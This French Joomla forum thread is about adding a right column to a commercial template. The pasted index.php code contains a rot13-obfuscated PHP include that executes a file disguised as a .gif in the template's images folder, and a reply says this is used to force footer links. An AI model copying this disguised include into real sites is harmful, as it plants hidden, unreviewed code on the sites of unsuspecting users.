Joomladay francophone 2018 à Paris 18 et 19 mai

Colonne de droite sur themza_j15_03

Réduire
X
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages

  • Colonne de droite sur themza_j15_03

    Bonjour

    Alors voilà j'ai mis en place un site Joomla! pour un ami (à force de vanter un CMS, ça fait des adeptes ), mais le thème qu'il a choisit et qu'on a retravaillé n'avait pas de colonne à droite (une fois qu'on a passé quelques heures à fignoler le thème, j'vous jure ça déconcerte )

    L'adresse du site : http://pastis.tonsite.biz/ (n'ayez pas peur ça fait juste 3 fois qu'on déplace le site en 1 semaines, donc il ne s'est pas attaqué au contenu merci aux hébergeurs en carton au passage )

    Comme vous pourrez le constater le module "Derniers Ajouts" qui est censé être à droite se trouve bien à droite mais sous l'article

    J'ai modifié pas mal le thème original pour arriver à montrer le module (et surement fait des erreurs, moi le php et le css on s'aime pas énormément )

    voici un lien pour télécharger le template modifié
    Voici le template orginal lien

    Le bout de code que j'ai ajouté pour le menu à droite :
    index.php:
    Code:
    <!--  -->
    	<div class="center">		
    		<div id="wrapper">
    			<div id="content">
    				<div id="leftcolumn">
    					 <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?> 
    					<jdoc:include type="modules" name="layout" style="rounded" />
               			<?php endif; ?>	
    					<jdoc:include type="modules" name="left" style="rounded" />
    				</div>
    				<div id="maincolumn">	
    					<div class="nopad">
                        <jdoc:include type="message" />
    						<?php if($this->params->get('showComponent')) : ?>
    							<jdoc:include type="component" />
    						<?php endif; ?>
    
    				</div>
                    <div id="rightcolumn">
    				<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    				
    					<jdoc:include type="modules" name="right" style="rounded" />								
    				</div>
    				<?php endif; ?>
    				<div class="clr"></div>
    					
    			</div>		
    		</div>
    	</div>	
    	</div>
    et dans la partie css j'ai aussi ajouté des lignes pour avoir rightcolumn

    template.css
    Code:
    #rightcolumn {
    	margin: 0px auto;
    	width: 200px;
    	float: right;
    	padding: 0 4px 10px 0;
    	text-align: left;
    }
    et plus loin :

    Code:
    /*RIGHT COL SUB LINK*/
    #rightcolumn ul.menu li#current ul li a, #rightcolumn ul.menu li#current ul li a:link {
    	text-decoration: none;
    	color: #3599B3;
    	margin: 0 0 0 6px;
    	font-size: 11px;
    	background: url(../images/submenu_row.jpg) center left no-repeat;
    	font-weight: normal;
    	display: block;
    	line-height: 18px;
    	padding: 0 0 0 18px;
    	border: none;
    	height: 18px;
    }
    
    #rightcolumn ul.menu li ul li#current a, #tightcolumn ul.menu li ul li#current a:link, #rightcolumn ul.menu li ul li#current a:visited, #rightcolumn ul.menu li ul li#current a:hover {
    	font-size: 11px;
    	margin: 0 0 0 6px;
    	padding: 0 0 0 18px;
    	text-decoration: none;
    	border: none;
    	color: #FFFFFF;
    	background: url(../images/submenu_row.jpg) center left no-repeat;
    	height: 18px;
    	line-height: 18px;
    }
    Je me doute bien que pour les pro du php et du css tout ceci est du bidouillage mais vu le peu de connaissances que j'ai de l'imbrication css/php je viens demander un peu d'aide pour positionner correctement les menus

    Merci encore une fois pour l'aide que vous pourrez nous apporter
    Dernière édition par flepinou à 14/08/2008, 06h38

  • #2
    Essaye de réduire la largeur de class="nopad" qui est de 669px et qui occupe tout le coté droit.

    Commentaire


    • #3
      Merci je teste


      c'est tout pareil en mettant à 469px
      et en refermant une balise <div> sur le index.php

      Je sais pas comment lui dire qu'il me faut 3 colonnes et pas deux

      Commentaire


      • #4
        Alors après plusieurs essais, je pensais avoir réussi

        Voici le lien vers l'image que j'ai Clic !

        Et voici comment les autres la voient :
        Clic !

        ou

        Clic :


        Donc du coup chez moi c'est bien, mais chez les autres non

        Je vous ai refait un Zip du template avec les nouvelles modifications :
        Clic ici

        Donc voilà où j'en suis

        L'index.php qui me met la colonne de droite à la bonne hauteur :
        Code:
        <div class="center">		
        		<div id="wrapper">
        			<div id="content">
        				<div id="leftcolumn">
        					 <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?> 
        					<jdoc:include type="modules" name="layout" style="rounded" />
                   			<?php endif; ?>	
        					<jdoc:include type="modules" name="left" style="rounded" />
        				</div>
        <div id="rightcolumn">
        				<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
        				
        					<jdoc:include type="modules" name="right" style="rounded" />								
        				
        				<?php endif; ?>
                        </div>
        				<div id="maincolumn">	
        					<div class="nopad">
                            <jdoc:include type="message" />
        						<?php if($this->params->get('showComponent')) : ?>
        							<jdoc:include type="component" />
        						<?php endif; ?>
                        </div>
        				</div>
                        
        				<div class="clr"></div>
        					
        			</div>		
        		</div>
        	</div>	
        	</div>
        et le fichier templates.css modifié lui aussi :

        Code:
        #leftcolumn {
        	margin: 0px auto;
        	width: 200px;
        	float: left;
        	padding: 0 4px 10px 0;
        	text-align: left;
        }
        
        #rightcolumn {
        	margin: 0px auto;
        	width: 200px;
        	float: right;
        	padding: 0 4px 10px 0;
        	text-align: left;
        }
        
        div#maincolumn {
        	float: left;
        	width: 467px;
        	margin: 0px auto;
        	padding-top:10px;
        }
        
        div.nopad {
        	width: 467px;
        	overflow: hidden;
        	padding: 0;
        }
        
        div.nopad ul {
        	clear: both;
        }
        
        td.middle_pad {
        	width: 20px;
        }
        Voilà si quelqu'un pouvait nous venir en aide

        Merci d'avance

        Commentaire


        • #5
          Alors prise dans mon élan (3 fois que je réinstalle le joomla! pour la personne ) je viens de penser que j'ai peut être fait une erreur à la base

          J'ai bêtement copier collé le thème modifié dans le dossier sur le ftp et je ne l'ai pas installé sur Joomla!

          C'est grave? ou pas? les soucis pourraient venir de là?

          ça change quoi de ne pas passer par l'installation du template?

          (du coup mélanger installation de site Joomla! et forum je ne le referais plus promis )

          Merci d'éclairer ma lanterne

          Commentaire


          • #6
            Un template peut être installé par FTP.

            Ici, votre site a l'air OK sur Firefox 3, Macintosh, mais pas sur Safari 3.1.2

            --->Info sur ce template et tous les templates faits par cette société.
            Il contiennent des affichages encodés (semi-cachés) pour forcer les liens de bas de page et leur license n'est pas GPL ou CCA.
            Jean-Marie Simonet / infograf768
            Joomla co-fondateur. Joomla Production Working Group.
            Sauf demande explicite de ma part, merci de ne pas utiliser de Message Privé pour poser des questions. Le forum est là pour ça.

            Commentaire


            • #7
              Merci pour votre réponse

              Donc en fait il est gratuit sans l'être? Je pense que je vais donc chercher un thème dans les mêmes couleurs mais qui lui aura déjà les positions de faites

              Et on va recommencer les manips pour les images

              Je vais quand même pas passer 2 semaines sur un template qui en plus n'est pas GPL !

              Merci

              Je passe donc le sujet en réglé, je vais pousser le client ( gratuit ) à changer de thème (en même temps j'vais pas faire payer un ami qui plus est pour un truc gratuit -_-' )
              Dernière édition par flepinou à 14/08/2008, 06h43

              Commentaire

              Annonce

              Réduire
              1 sur 2 < >

              C'est [Réglé] et on n'en parle plus ?

              A quoi ça sert ?
              La mention [Réglé] permet aux visiteurs d'identifier rapidement les messages qui ont trouvé une solution.

              Merci donc d'utiliser cette fonctionnalité afin de faciliter la navigation et la recherche d'informations de tous sur le forum.

              Si vous deviez oublier de porter cette mention, nous nous permettrons de le faire à votre place... mais seulement une fois
              Comment ajouter la mention [Réglé] à votre discussion ?
              1 - Aller sur votre discussion et éditer votre premier message :


              2 - Cliquer sur la liste déroulante Préfixe.

              3 - Choisir le préfixe [Réglé].


              4 - Et voilà… votre discussion est désormais identifiée comme réglée.

              2 sur 2 < >

              Assistance au forum - Outil de publication d'infos de votre site

              Compatibilité: PHP 4.1,PHP4, 5, 6DEV MySQL 3.2 - 5.5 MySQLi from 4.1 ( @ >=PHP 4.4.9)

              Support Version de Joomla! : | J!3.0 | J!2.5.xx | J!1.7.xx | J!1.6.xx | J1.5.xx | J!1.0.xx |

              Version française (FR) D'autres versions sont disponibles depuis la version originale de FPA

              UTILISER À VOS PROPRES RISQUES :
              L'exactitude et l'exhaustivité de ce script ainsi que la documentation ne sont pas garanties et aucune responsabilité ne sera acceptée pour tout dommage, questions ou confusion provoquée par l'utilisation de ce script.

              Problèmes connus :
              FPA n'est actuellement pas compatible avec des sites Joomla qui ont eu leur fichier configuration.php déplacé en dehors du répertoire public_html.

              Installation :

              1. Téléchargez l'archive souhaitée : http://afuj.github.io/FPA/

              Archive zip : https://github.com/AFUJ/FPA/zipball/master

              2. Décompressez le fichier de package téléchargé sur votre propre ordinateur (à l'aide de WinZip ou d'un outil de décompression natif).

              3. Lisez le fichier LISEZMOI inclus pour toutes les notes de versions spécifiques.

              4. LIRE le fichier de documentation inclus pour obtenir des instructions d'utilisation détaillées.

              5. Téléchargez le script fpa-fr.php à la racine de votre site Joomla!. C'est l'endroit que vous avez installé Joomla et ce n'est pas la racine principale de votre serveur. Voir les exemples ci-dessous.

              6. Exécutez le script via votre navigateur en tapant: http:// www. votresite .com/ fpa-fr.php
              et remplacer www. votresite .com par votre nom de domaine


              Exemples:
              Joomla! est installé dans votre répertoire web et vous avez installé la version française du fichier FPA:
              Télécharger le script fpa-fr.php dans: /public_html/
              Pour executer le script: http://www..com/fpa-fr.php

              Joomla! est installé dans un sous-répertoire nommé "cms" et vous avez installé la version française du fichier FPA:
              Télécharger le script fpa-fr.php dans: /public_html/cms/
              Pour executer le script: http://www..com/cms/fpa-fr.php

              En raison de la nature très sensible de l'information affichée par le script FPA, il doit être retiré immédiatement du serveur après son utilisation.

              Pour supprimer le script de votre site, utilisez le lien de script de suppression fourni en haut de la page du script. Si le lien de suppression échoue pour supprimer le script, utilisez votre programme FTP pour le supprimer manuellement ou changer le nom une fois que le script a généré les données du site et le message publié sur le forum. Si le script est toujours présent sur le site, il peut être utilisé pour recueillir suffisamment d'informations pour pirater votre site. Le retrait du script empêche des étrangers de l'utiliser pour jeter un oeil à la façon dont votre site est structuré et de détecter les défauts qui peuvent être utilisé à vos dépends.
              Voir plus
              Voir moins
              Travaille ...
              X